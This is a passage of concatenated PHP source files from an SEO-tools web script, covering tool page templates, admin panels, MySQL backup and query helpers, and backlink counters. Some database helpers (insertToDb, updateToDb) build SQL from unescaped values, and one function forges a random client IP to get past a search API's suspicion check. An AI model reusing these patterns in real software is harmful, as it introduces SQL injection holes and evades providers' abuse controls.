}); $(document).ready(function(){ $(function () { $('[data-toggle="tooltip"]').tooltip() }); jQuery.get(axPath+'&getImage&site='+inputHost,function(data){ $("#screenshotData").html('<img src="data:image/jpeg;base64,'+data+'"/>'); }); finalScore(); });//End of Main Statement<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name A to Z SEO Tools v2 - PHP Script * @copyright © 2017 ProThemes.Biz * */ ?> <div class="container main-container"> <div class="row"> <?php if($themeOptions['general']['sidebar'] == 'left') require_once(THEME_DIR."sidebar.php"); ?> <div class="col-md-8 main-index"> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="title"><?php echo $data['tool_name']; ?></h2> <?php if ($pointOut != 'output') { ?> <br /> <p><?php echo $lang['23']; ?> </p> <form method="POST" action="<?php echo $toolOutputURL;?>" onsubmit="return fixURL();"> <input type="text" name="url" id="url" value="" class="form-control"/> <br /> <?php if ($toolCap) echo $captchaCode; ?> <div class="text-center"> <input class="btn btn-info" type="submit" value="<?php echo $lang['8']; ?>" name="submit"/> </div> </form> <?php } else { //Output Block if(isset($error)) { echo '<br/><br/><div class="alert alert-error"> <strong>Alert!</strong> '.$error.' </div><br/><br/> <div class="text-center"><a class="btn btn-info" href="'.$toolURL.'">'.$lang['12'].'</a> </div><br/>'; } else { ?> <br /> <h4><?php echo $lang['331']; ?></h4> <table class="table table-bordered table-hover table-striped"> <tbody> <tr> <td style="width:200px;"><?php echo $lang['30']; ?></td> <td><strong><?php echo $meta_title; ?></strong></td> </tr> <tr> <td style="width:200px;"><?php echo $lang['31']; ?></td> <td><strong><?php echo $meta_description; ?></strong></td> </tr> <tr> <td style="width:200px;"><?php echo $lang['32']; ?></td> <td><strong><?php echo $meta_keywords; ?></strong></td> </tr> </tbody> </table> <br /> <h4><?php echo $lang['332']; ?></h4> <?php foreach($tags as $tagName => $tagVals) { ?> <table class="table table-hover table-bordered table-striped" style="margin-bottom: 30px;"> <thead> <tr> <th class="text-center"><?php echo ucwords($tagName).' '.$lang['333']; ?></th> </tr> </thead> <tbody> <?php foreach($tagVals as $tagVal) { ?> <tr> <td class="text-center"><?php echo $tagVal; ?></td> </tr> <?php } ?> </tbody> </table> <?php } ?> <br /> <h4><?php echo $lang['335']; ?></h4> <table class="table table-bordered table-responsive"> <thead> <tr> <td>No.</td> <td><?php echo $lang['53']; ?></td> </tr> </thead> <tbody> <?php foreach($internal_links as $count=>$links) { ?> <tr> <td><?php echo $count; ?></td> <?php if ($links['follow_type'] == "dofollow") { ?> <td><?php echo $links['href']; ?></td> <?php } ?> </tr> <?php } ?> </tbody></table> <br /> <h4><?php echo $lang['334']; ?></h4> <textarea rows="12" readonly="" class="form-control"><?php echo $textData; ?></textarea> <br /><br /> <h4><?php echo $lang['110']; ?></h4> <textarea rows="12" readonly="" class="form-control"><?php echo htmlspecialchars($sourceData); ?></textarea> <br /> <div class="text-center"> <br /> &nbsp; <br /> <a class="btn btn-info" href="<?php echo $toolURL; ?>"><?php echo $lang['27']; ?></a> <br /> </div> <?php } } ?> <br /> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="sec1" class="about_tool"><?php echo $lang['11'].' '.$data['tool_name']; ?></h2> <p> <?php echo $data['about_tool']; ?> </p> <br /> </div> <?php if($themeOptions['general']['sidebar'] == 'right') require_once(THEME_DIR."sidebar.php"); ?> </div> </div> <br /><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $pageTitle = 'Shop Addons'; $subTitle = 'AtoZ SEO Tools Addons'; $fullLayout = 1; $footerAdd = true; $footerAddArr = array(); if($pointOut == 'ajax'){ $query = http_build_query($_GET) . "\n"; echo getMyData('http://api.prothemes.biz/tools/shop_addon.php?'.$query); die(); } ?><file_sep><?php /* * @author Balaji * @name: Rainbow PHP Framework * @copyright 2019 ProThemes.Biz * */ function importMySQLdb($con, $filePath, $gzip=false){ $templine = ''; $lines = array(); if($gzip){ $dbData = gzdecode(file_get_contents($filePath)); $lines = explode("\n", $dbData); }else{ $lines = file($filePath); } foreach ($lines as $line){ if (substr($line, 0, 2) == '--' || $line == '') continue; $templine .= $line; if (substr(trim($line), -1, 1) == ';'){ mysqli_query($con, $templine) or print('Error performing query' . mysqli_error($con) . '<br />'); $templine = ''; } } } function installMySQLdb($con, $filePath, $gzip=false){ $templine = ''; $lines = array(); $completed = true; if($gzip){ $dbData = gzdecode(file_get_contents($filePath)); $lines = explode("\n", $dbData); }else{ $lines = file($filePath); } foreach ($lines as $line){ if (substr($line, 0, 2) == '--' || $line == '') continue; $templine .= $line; if (substr(trim($line), -1, 1) == ';'){ mysqli_query($con, $templine); if (mysqli_errno($con)){ echo 'Error performing query' . mysqli_error($con) . '<br />'; $completed = false; }else{ if(strtolower(substr(trim($templine),0,6)) == 'create'){ $d = explode('`',trim($templine)); echo '"'.$d[1].'" table created successfully <br>'; } } $templine = ''; } } return $completed; } function writeBackupFile($fp, $content, $backupFileName){ if (fwrite($fp, $content) === FALSE) { echo "Cannot write to file ($backupFileName)"; die(); } } function gzCompressFile($source, $level = 9){ $dest = $source . '.gz'; $mode = 'wb' . $level; $error = false; if ($fp_out = gzopen($dest, $mode)) { if ($fp_in = fopen($source,'rb')) { while (!feof($fp_in)) gzwrite($fp_out, fread($fp_in, 1024 * 512)); fclose($fp_in); } else { $error = true; } gzclose($fp_out); } else { $error = true; } if ($error) return false; else return true; } function backupMySQLdb($con, $dbName, $backupPath, $gzip=false){ $date = date( "d-m-Y-h-i-s"); $dbTables = array(); $defaultRowLimit = 100; $defaultRowSizeLimit = 9999; $backupOkay = false; if (!is_dir($backupPath)) mkdir($backupPath, 0777, true); $backupFileName = $backupPath.$dbName.'-'.$date.'.sql'; $fp = fopen($backupFileName ,'w+'); $contents = "-- --------------------------------------------------------- -- -- Rainbow PHP Framework - Database Backup Tool -- -- -- Host Connection Info: ".mysqli_get_host_info($con)." -- Generation Time: ".date('F d, Y \a\t H:i A')." -- Server version: ".mysqli_get_server_info($con)." -- PHP Version: ".PHP_VERSION." -- -- ---------------------------------------------------------\n SET SQL_MODE = \"NO_AUTO_VALUE_ON_ZERO\"; SET time_zone = \"+00:00\"; -- -- Database: `".$dbName."` -- -- \n"; writeBackupFile($fp, $contents, $backupFileName); $results = mysqli_query($con, 'SHOW TABLES'); while($row = mysqli_fetch_array($results)) { $dbTables[] = $row[0]; } foreach($dbTables as $table){ $contents = "-- Table `".$table."` --\n"; writeBackupFile($fp, $contents, $backupFileName); $results = mysqli_query($con, 'SHOW CREATE TABLE '.$table); while($row = mysqli_fetch_array($results)) { $contents = $row[1].";\n\n"; writeBackupFile($fp, $contents, $backupFileName); } $results = mysqli_query($con, 'SELECT * FROM '.$table. ' LIMIT 1'); $fields = mysqli_fetch_fields($results); $fields_count = count($fields); $handleRow = 0; do { $results = mysqli_query($con, 'SELECT * FROM '.$table.' LIMIT '.$handleRow.', '.$defaultRowLimit); $handleRow += $defaultRowLimit; $row_count = mysqli_num_rows($results); $insert_head = "INSERT INTO `".$table."` ("; for($i=0; $i < $fields_count; $i++){ $insert_head .= "`".$fields[$i]->name."`"; if($i < $fields_count-1){ $insert_head .= ', '; } } $insert_head .= ")"; $insert_head .= " VALUES\n"; if($row_count>0){ $r = $limit = $rowSize = $divisionBalaji = 0; while($row = mysqli_fetch_array($results)){ if($rowSize > $defaultRowSizeLimit){ $limit = 0; $divisionBalaji = 0; }else{ $limit = $defaultRowLimit; $divisionBalaji = $r % $limit; } $rowSize = 0; if($divisionBalaji == 0){ $contents = $insert_head; writeBackupFile($fp, $contents, $backupFileName); } $contents = "("; writeBackupFile($fp, $contents, $backupFileName); for($i=0; $i < $fields_count; $i++){ $row_content = str_replace("\n","\\n",mysqli_real_escape_string($con,$row[$i])); $rowSize = $rowSize + strlen($row_content); switch($fields[$i]->type){ case 8: case 3: writeBackupFile($fp, $row_content, $backupFileName); break; default: writeBackupFile($fp, "'". $row_content ."'", $backupFileName); } if($i < $fields_count-1){ $contents = ', '; writeBackupFile($fp, $contents, $backupFileName); } } if($rowSize > $defaultRowSizeLimit){ $contents = ");\n\n"; writeBackupFile($fp, $contents, $backupFileName); }else{ if(($r+1) == $row_count || ($divisionBalaji) == $limit-1){ $contents = ");\n\n"; writeBackupFile($fp, $contents, $backupFileName); }else{ $contents = "),\n"; writeBackupFile($fp, $contents, $backupFileName); } } $r++; } } } while($row_count !== 0); } fclose($fp); $backupOkay = true; if($gzip){ ini_set('zlib.output_compression','Off'); $backupOkay = gzCompressFile($backupFileName, 9); delFile($backupFileName); $backupFileName = $backupPath.$dbName.'-'.date( "d-m-Y-h-i-s").'.sql.gz'; } if($backupOkay) return $backupFileName; else return ''; } function dbCountRows($con, $tableName){ $result = mysqli_query($con, 'SELECT COUNT(*) FROM '.$tableName); $row = mysqli_fetch_array($result); return $row[0]; } function insertToDb($con,$tableName,$arr){ $part1 = $part2 = ''; $part1 .= 'INSERT INTO '.$tableName.' ('; $part2 .= ' VALUES ('; $queryCount = count($arr); $i = 0; foreach($arr as $key=>$val){ if(++$i === $queryCount) { $part1 .= $key.')'; $part2 .= "'".$val."')"; }else{ $part1 .= $key.','; $part2 .= "'".$val."',"; } } $buildQuery = $part1.$part2; mysqli_query($con,$buildQuery); return mysqli_error($con); } function insertToDbPrepared($con,$tableName,$arr){ $params = array(); $error = $typeDef = $part1 = $part2 = ''; $part1 .= 'INSERT INTO '.$tableName.' ('; $part2 .= ' VALUES ('; $queryCount = count($arr); $i = 0; foreach($arr as $key=>$val){ $params[$i] = &$arr[$key]; $typeDef .= 's'; if(++$i === $queryCount) { $part1 .= $key.')'; $part2 .= "?)"; }else{ $part1 .= $key.','; $part2 .= "?,"; } } $buildQuery = $part1.$part2; $stmt = mysqli_prepare($con,$buildQuery); if (false===$stmt) return mysqli_error($con); call_user_func_array("mysqli_stmt_bind_param",array_merge(array(&$stmt, &$typeDef), $params)); mysqli_stmt_execute($stmt); $error = mysqli_stmt_error($stmt); mysqli_stmt_close($stmt); return $error; } function updateToDb($con,$tableName,$arr,$where){ $part1 = $part2 = ''; $part1 .= 'UPDATE '.$tableName.' SET '; $part2 .= ' WHERE '; $queryCount = count($arr); $i = 0; foreach($arr as $key=>$val){ if(++$i === $queryCount) { $part1 .= $key."='".$val."' "; }else{ $part1 .= $key."='".$val."', "; } } $i = 0; foreach($where as $key=>$val){ if($i == 1) { $part2 .= ' AND '.$key."='".$val."'"; break; }else{ $part2 .= $key."='".$val."'"; } $i++; } $buildQuery = $part1.$part2; mysqli_query($con,$buildQuery); return mysqli_error($con); } function updateToDbPrepared($con,$tableName,$arr,$where,$customTypeDef=false,$typeDefStr=''){ $params = array(); $error = $typeDef = $part1 = $part2 = ''; $i = $j = 0; $part1 .= 'UPDATE '.$tableName.' SET '; $part2 .= ' WHERE '; $queryCount = count($arr); foreach($arr as $key=>$val){ $params[$i] = &$arr[$key]; $typeDef .= 's'; if(++$i === $queryCount) { $part1 .= $key."= ? "; }else{ $part1 .= $key."= ?,"; } } foreach($where as $key=>$val){ $params[$i] = &$where[$key]; $typeDef .= 's'; if($j == 1) { $part2 .= ' AND '.$key."=?"; break; }else{ $part2 .= $key."=?"; } $i++; $j++; } $buildQuery = $part1.$part2; $stmt = mysqli_prepare($con,$buildQuery); if (false===$stmt) return mysqli_error($con); if($customTypeDef) $typeDef = $typeDefStr; call_user_func_array("mysqli_stmt_bind_param",array_merge(array(&$stmt, &$typeDef), $params)); mysqli_stmt_execute($stmt); $error = mysqli_stmt_error($stmt); mysqli_stmt_close($stmt); return $error; } function mysqliPreparedQuery($con,$query,$typeDef = false,$params = false, $noSingle = true){ $result = $bindParams = array(); $countRes = 0;$multiQuery = false; if($stmt = mysqli_prepare($con,$query)){ if(count($params) == count($params,1)){ $params = array($params); $multiQuery = false; } else { $multiQuery = true; } if($typeDef){ $bindParamsReferences = array(); $bindParams = array_pad($bindParams,(count($params,1)-count($params))/count($params),""); foreach($bindParams as $key => $value){ $bindParamsReferences[$key] = &$bindParams[$key]; } array_unshift($bindParamsReferences,$typeDef); $bindParamsMethod = new ReflectionMethod('mysqli_stmt', 'bind_param'); $bindParamsMethod->invokeArgs($stmt,$bindParamsReferences); } foreach($params as $queryKey => $query){ foreach($bindParams as $paramKey => $value){ $bindParams[$paramKey] = $query[$paramKey]; } $queryResult = array(); if(mysqli_stmt_execute($stmt)){ $resultMetaData = mysqli_stmt_result_metadata($stmt); if($resultMetaData){ $stmtRow = array(); $rowReferences = array(); while ($field = mysqli_fetch_field($resultMetaData)) { $rowReferences[] = &$stmtRow[$field->name]; } mysqli_free_result($resultMetaData); $bindResultMethod = new ReflectionMethod('mysqli_stmt', 'bind_result'); $bindResultMethod->invokeArgs($stmt, $rowReferences); while(mysqli_stmt_fetch($stmt)){ $countRes++; $row = array(); foreach($stmtRow as $key => $value){ $row[$key] = $value; } $queryResult[] = $row; } mysqli_stmt_free_result($stmt); } else { $queryResult[] = mysqli_stmt_affected_rows($stmt); } } else { $queryResult[] = false; } $result[$queryKey] = $queryResult; } mysqli_stmt_close($stmt); } else { $result = false; } if($multiQuery){ return $result; } else { if($noSingle){ if($countRes == 0) return false; elseif($countRes == 1) return $result[0][0]; else return $result[0]; }else{ if($countRes == 0) return array(); else return $result[0]; } } }<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> </div><!-- /.box-header ba-la-ji --> <div class="box-body"> <?php if(isset($msg)) echo $msg; ?><br /> <div class="row"> <iframe height="900" class="col-lg-12 col-md-12 col-sm-12" src="<?php adminLink('ajax/phpinfo'); ?>" style="border:none;"></iframe> </div> <br /> </div><!-- /.box-body --> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.1 403 Forbidden')); /* * @author Balaji * @name A to Z SEO Tools - PHP Script * @copyright 2020 ProThemes.Biz * */ ?> <style> table { table-layout: fixed; width: 100%; } td { word-wrap: break-word; } .screenImg{ width: 100%; height: auto; max-height: 450px; } </style> <script> function processLoadBar() { var myUrl= jQuery.trim($('input[name=url]').val()); if (myUrl==null || myUrl=="") {}else if(myUrl.indexOf(".") == -1){}else{ jQuery("#percentimg").css({"display":"block"}); jQuery("#mainBox").fadeOut(); } } </script> <div class="container main-container"> <div class="row"> <?php if($themeOptions['general']['sidebar'] == 'left') require_once(THEME_DIR."sidebar.php"); ?> <div class="col-md-8 main-index"> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="title"><?php echo $data['tool_name']; ?></h2> <?php if ($pointOut != 'output') { ?> <br /> <p><?php echo $lang['23']; ?> </p> <form method="POST" action="<?php echo $toolOutputURL;?>" onsubmit="return fixURL();" id="mainBox"> <input type="text" name="url" id="url" value="" class="form-control"/> <br /> <?php if ($toolCap) echo $captchaCode; ?> <div class="text-center"> <input class="btn btn-info" onclick="processLoadBar();" type="submit" value="<?php echo $lang['8']; ?>" name="submit"/> </div> </form> <div id="percentimg" class="text-center" style="display:none;"> <img src="<?php themeLink('img/load.gif'); ?>" /> <br /><br /> <?php echo $lang['146']; ?>... <br /><br /> </div> <?php } else { //Output Block if(isset($error)) { echo '<br/><br/><div class="alert alert-error"> <strong>Alert!</strong> '.$error.' </div><br/><br/> <div class="text-center"><a class="btn btn-info" href="'.$toolURL.'">'.$lang['12'].'</a> </div><br/>'; } else { ?> <br /> <table class="table table-hover table-bordered table-striped" style="margin-bottom: 30px;"> <thead> <tr> <th>Final URL</th> <td><?php echo $pageSpeedInsight['url']; ?></td> </tr> <tr> <th>Loading Experience</th> <td><?php echo $pageSpeedInsight['loadingExperience']; ?></td> </tr> <tr> <th>Performance Score</th> <td><?php echo $pageSpeedInsight['score']; ?></td> </tr> <tr> <th>Warnings</th> <td><?php echo $pageSpeedInsight['warning']; ?></td> </tr> <tr> <th>Tested Mode</th> <td>Desktop</td> </tr> <tr> <th>User Agent</th> <td><?php echo $pageSpeedInsight['userAgent']; ?></td> </tr> <tr> <th>Screenshot</th> <td><?php echo $pageSpeedInsight['screenshot']; ?></td> </tr> </thead> </table> <h4>Details</h4> <table class="table table-hover table-bordered table-striped" style="margin-bottom: 30px;"> <thead> <tr> <th>Title</th> <th>Description</th> <th>Score</th> <th>Suggestion</th> </tr> </thead> <tbody> <?php echo $pageSpeedInsight['audit']; ?> </tbody> </table> <br /> <div class="text-center"> <br /> &nbsp; <br /> <a class="btn btn-info" href="<?php echo $toolURL; ?>"><?php echo $lang['27']; ?></a> <br /> </div> <?php } } ?> <br /> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="sec1" class="about_tool"><?php echo $lang['11'].' '.$data['tool_name']; ?></h2> <p> <?php echo $data['about_tool']; ?> </p> <br /> </div> <?php if($themeOptions['general']['sidebar'] == 'right') require_once(THEME_DIR."sidebar.php"); ?> </div> </div> <br /><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> </div><!-- /.box-header ba-la-ji --> <form action="#" method="POST"> <div class="box-body"> <?php if(isset($msg)) echo $msg; ?><br /> <div class="form-group"> <label>Captcha protection for following pages:</label> <select name="cap_pages[]" class="form-control select2" multiple="multiple" data-placeholder="Which pages need image verifications?" style="width: 100%;"> <?php foreach($capList as $capName=>$capRaw){ echo '<option '.isSelected($cap_options[$capName], true, 1,null,true).' value="'.$capName.'">'.$capRaw.'</option>'; } ?> </select> </div> <div class="form-group"> <label> Select Capthca Service </label> <select name="sel_cap" class="form-control"> <?php foreach($cap_data as $capbasename => $cap){ echo '<option '. isSelected($cap_type, true, 1, $capbasename,true).' value="'.$capbasename.'" >'.$cap['cap_name'].'</option>'; }?> </select> </div> <div class="hide" id="recap"> <input type="hidden" value="Google reCAPTCHA" name="cap[recap][cap_name]" /> <div class="form-group"> <label>reCAPTCHA Secret Key</label> <input type="text" placeholder="Enter your reCAPTCHA secret key" name="cap[recap][recap_seckey]" value="<?php echo $recap_seckey; ?>" class="form-control" /> </div> <div class="form-group"> <label>reCAPTCHA Site Key</label> <input type="text" placeholder="Enter your reCAPTCHA site key" name="cap[recap][recap_sitekey]" value="<?php echo $recap_sitekey; ?>" class="form-control" /> </div> </div> <div class="hide" id="phpcap"> <input type="hidden" value="Built-in PHP Image Verification" name="cap[phpcap][cap_name]" /> <div class="form-group"> <label>Difficulty type</label> <select class="form-control" name="cap[phpcap][mode]"> <option <?php echo isSelected($mode, true, 1, 'Easy'); ?> value="Easy">Easy</option> <option <?php echo isSelected($mode, true, 1, 'Normal'); ?> value="Normal">Normal</option> <option <?php echo isSelected($mode, true, 1, 'Tough'); ?> value="Tough">Tough</option> </select> </div> <div class="form-group"> <label>Allowed characters</label> <input type="text" placeholder="Enter your characters" name="cap[phpcap][allowed]" value="<?php echo $allowed; ?>" required="" class="form-control" /> </div> <div class="form-group"> <label>Captcha text color</label> <input type="text" value="<?php echo $color; ?>" class="form-control my-colorpicker1 colorpicker-element" name="cap[phpcap][color]" /> </div> <div class="form-group"> <label>Multiple background images</label> <select class="form-control" name="cap[phpcap][mul]"> <option <?php echo isSelected($mul, true, 1); ?> value="yes">Yes</option> <option <?php echo isSelected($mul, false, 1); ?> value="no">No</option> </select> </div> </div> <input type="submit" name="save" value="Save Settings" class="btn btn-primary"/> <br /><br /> </div><!-- /.box-body --> </form> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --> <?php $footerAddArr[] = <<<EOD <script> var oldSel; $(function () { $(".select2").select2(); $(".my-colorpicker1").colorpicker(); var selVal = jQuery('select[name="sel_cap"]').val(); oldSel = selVal; $('#'+selVal).removeClass("hide"); $('#'+selVal).fadeIn(); }); $('select[name="sel_cap"]').on('change', function() { var selVal = jQuery('select[name="sel_cap"]').val(); $('#'+oldSel).fadeOut(); $('#'+selVal).removeClass("hide"); $('#'+selVal).fadeIn(); oldSel = selVal; }); </script> EOD; ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $pageTitle = 'Miscellaneous'; $subTitle = 'Miscellaneous Task'; $fullLayout = 1; $footerAdd = false; if ($_SERVER['REQUEST_METHOD'] == 'POST') { if(isset($_POST['action'])){ $action = raino_trim($_POST['action']); //Clean up all temporary directories if($action == 'temp'){ $folders = array(APP_DIR.'temp', ROOT_DIR.'resources'.D_S.'pdf-reports'.D_S, ROOT_DIR.'uploads'.D_S.'temp'.D_S); foreach($folders as $delDir){ $files = array_diff(scandir($delDir), array('.', '..','.htaccess','index.php')); foreach ($files as $file){ (is_dir("$delDir/$file")) ? delDir("$delDir/$file") : unlink("$delDir/$file"); } } $msg = successMsgAdmin('All temporary directories data has been deleted successfully'); } //Clear all cached screenshots if($action == 'screen'){ $delDir = HEL_DIR.'site_snapshot'; $files = array_diff(scandir($delDir), array('.', '..','no-preview.png','index.php')); foreach ($files as $file){ (is_dir("$delDir/$file")) ? delDir("$delDir/$file") : unlink("$delDir/$file"); } $msg = successMsgAdmin('Screenshot data has been deleted successfully'); } //Clear all recent history data if($action == 'recent'){ mysqli_query($con,'DELETE FROM recent_history'); if (mysqli_errno($con)) $msg = errorMsgAdmin(mysqli_error($con)); else{ mysqli_query($con,'DELETE FROM user_input_history'); if (mysqli_errno($con)) $msg = errorMsgAdmin(mysqli_error($con)); else $msg = successMsgAdmin('Recent history has been deleted successfully'); } } //Clear all analytics data if($action == 'analytics'){ mysqli_query($con,'DELETE FROM rainbow_track'); if (mysqli_errno($con)) $msg = errorMsgAdmin(mysqli_error($con)); else $msg = successMsgAdmin('All analytics data has been successfully cleared'); } //Clear all admin login history data if($action == 'admin'){ mysqli_query($con,'DELETE FROM admin_history'); if (mysqli_errno($con)) $msg = errorMsgAdmin(mysqli_error($con)); else $msg = successMsgAdmin('Admin logged history has been successfully cleared'); } //Clear all unverified users accounts if($action == 'unverified'){ mysqli_query($con,"DELETE FROM users where verified='0'"); if (mysqli_errno($con)) $msg = errorMsgAdmin(mysqli_error($con)); else $msg = successMsgAdmin('All unverified user accounts has been deleted successfully'); } //Clear all users accounts if($action == 'users'){ mysqli_query($con,'DELETE FROM users'); if (mysqli_errno($con)) $msg = errorMsgAdmin(mysqli_error($con)); else $msg = successMsgAdmin('All users accounts has been deleted successfully'); } } } ?><file_sep><?php /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright © 2017 ProThemes.Biz * */ function googleBack($site) { $url = "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=link:" . $site . "&filter=0"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_NOBODY, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $json = curl_exec($ch); curl_close($ch); $data = json_decode($json, true); $check = $data['responseDetails']; if (str_contains($check, "Suspected")) { $ip = explode(".", $_SERVER['SERVER_ADDR']); $ip = $ip[0] . "." . $ip[1] . "." . rand(0, 255) . "." . rand(0, 255); $url = "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=link:" . $site . "&filter=0&userip=" . $ip; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_NOBODY, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $json = curl_exec($ch); curl_close($ch); $data = json_decode($json, true); } if ($data['responseStatus'] == 200) { $data = $data['responseData']['cursor']['resultCount']; if ($data == '') $data = 0; return $data; } else return "0"; } function bingBack($link) { $link = "http://www.bing.com/search?q=link%3A" . trim($link) . "&go=&qs=n&sk=&sc=8-5&form=QBLH"; $source = getMyData($link); $s = explode('<span class="sb_count">', $source); $s = explode('</span>', $s[1]); $s = explode('results', $s[0]); $s = Trim($s[0]); $s = Trim(str_replace("Resultaten","",$s)); if ($s == '') { $s = 0; } return $s; } ?><file_sep><?php session_start(); /** * @author Balaji * @name: Rainbow PHP Framework * @copyright 2020 ProThemes.Biz * */ //Application Path define('ROOT_DIR', realpath(dirname(__FILE__)) .DIRECTORY_SEPARATOR); define('APP_DIR', ROOT_DIR .'core'.DIRECTORY_SEPARATOR); define('CONFIG_DIR', APP_DIR .'config'.DIRECTORY_SEPARATOR); //Load Configuration & Functions require CONFIG_DIR.'config.php'; require APP_DIR.'functions.php'; //Check installation detectInstaller(); //Database Connection $con = dbConncet($dbHost,$dbUser,$dbPass,$dbName); //Start the Application require APP_DIR.'app.php'; //Theme & Output require THEME_DIR.'header.php'; require THEME_DIR.VIEW.'.php'; require THEME_DIR.'footer.php'; //Close the database conncetion mysqli_close($con); <file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name A to Z SEO Tools v2 * @copyright © 2017 ProThemes.Biz * */ ?> <script>var msgDomain = "<?php makeJavascriptStr($lang['23'],true); ?>";</script> <script src='<?php createLink('core/library/screen_simulator.js',false,true); ?>'></script> <div class="container main-container"> <div class="row"> <?php if($themeOptions['general']['sidebar'] == 'left') require_once(THEME_DIR."sidebar.php"); ?> <div class="col-md-8 main-index"> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="title"><?php echo $data['tool_name']; ?></h2> <?php if ($pointOut != 'output') { ?> <br /> <p><?php echo $lang['23']; ?> </p> <form onsubmit="doscreen_simulator(); return false"> <p> <input class="form-control" type="text" name="url" id="url" value=""/> <br /> <br /> <?php echo $lang['33']; ?>: <div class="radio-box"> <div class="form-group"> <input type="radio" id="160x160" name="resolution" value="160x160" /> <label for="160x160">&nbsp;160x160 <?php echo $lang['34']; ?></label> <div class="clear">&nbsp;</div></div> <input type="radio" id="320x320" name="resolution" value="320x320"/> <label for="320x320">&nbsp;320x320 <?php echo $lang['34']; ?></label> <div class="clear">&nbsp;</div> <input type="radio" id="640x480" name="resolution" value="640x480"/> <label for="640x480">&nbsp;640x480 <?php echo $lang['34']; ?></label> <div class="clear">&nbsp;</div> <input type="radio" id="800x600" name="resolution" value="800x600"/> <label for="800x600">&nbsp;800x600 <?php echo $lang['34']; ?></label> <div class="clear">&nbsp;</div> <input type="radio" id="1024x768" name="resolution" value="1024x768" checked="checked" /> <label for="1024x768">&nbsp;1024x768 <?php echo $lang['34']; ?></label> <div class="clear">&nbsp;</div> <input type="radio" id="1366x768" name="resolution" value="1366x768" /> <label for="1366x768">&nbsp;1366x768 <?php echo $lang['34']; ?></label> <div class="clear">&nbsp;</div> <input type="radio" id="1152x864" name="resolution" value="1152x864"/> <label for="1152x864">&nbsp;1152x864 <?php echo $lang['34']; ?></label> <div class="clear">&nbsp;</div> <input type="radio" id="1600x1200" name="resolution" value="1600x1200"/> <label for="1600x1200">&nbsp;1600x1200 <?php echo $lang['34']; ?></label> <div class="clear">&nbsp;</div> </div> </p> <div> <button class="btn btn-sm btn-info"><?php echo $lang['35']; ?></button> </div> </form> <?php } ?> <br /> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="sec1" class="about_tool"><?php echo $lang['11'].' '.$data['tool_name']; ?></h2> <p> <?php echo $data['about_tool']; ?> </p> <br /> </div> <?php if($themeOptions['general']['sidebar'] == 'right') require_once(THEME_DIR."sidebar.php"); ?> </div> </div> <br /><file_sep><?php /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright © 2017 ProThemes.Biz * */ function xmlRpcPing($url,$myBlogName,$myBlogUrl,$myBlogUpdateUrl,$myBlogRSSFeedUrl,$errorMsg) { $client = new IXR_Client( $url ); $client->timeout = 3; $client->useragent .= ' -- PingTool/1.0.0'; $client->debug = false; if( $client->query( 'weblogUpdates.extendedPing', $myBlogName, $myBlogUrl, $myBlogUpdateUrl, $myBlogRSSFeedUrl ) ) { return $client->getResponse(); } if( $client->query( 'weblogUpdates.ping', $myBlogName, $myBlogUrl ) ) { return 